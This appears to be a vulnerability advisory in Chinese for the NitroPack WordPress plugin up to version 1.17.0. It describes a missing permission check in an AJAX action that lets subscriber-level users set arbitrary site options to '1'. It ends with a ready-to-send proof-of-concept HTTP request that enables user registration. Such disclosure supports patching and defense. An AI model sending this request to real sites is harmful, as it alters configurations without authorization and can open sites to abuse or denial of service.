NitroPack <= 1.17.0 - 缺少授权导致已验证用户(订阅者+)可进行有限选项更新
WordPress的NitroPack插件在包括1.17.0在内的所有版本中,由于'nitropack_dismiss_notice_forever' AJAX操作缺少权限检查,存在未经授权修改数据的风险。这使得经过身份验证的攻击者(至少拥有订阅者级别权限)能够将任意选项更新为固定值'1',从而可能激活某些选项(例如启用用户注册)或以导致拒绝服务条件的方式修改某些选项。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=subscriber%7C1737110766%7CYhdLxJv5qLyqmSVznKzPOC94NyU9PAMWPeef9cCtINN%7C8c6d11f15397dfb790e700f695c7480bb8267c86130c402afce6080076ccff2d
Content-Length: 88
action=nitropack_dismiss_notice_forever&security=92f60ea3ea¬ice_id=users_can_register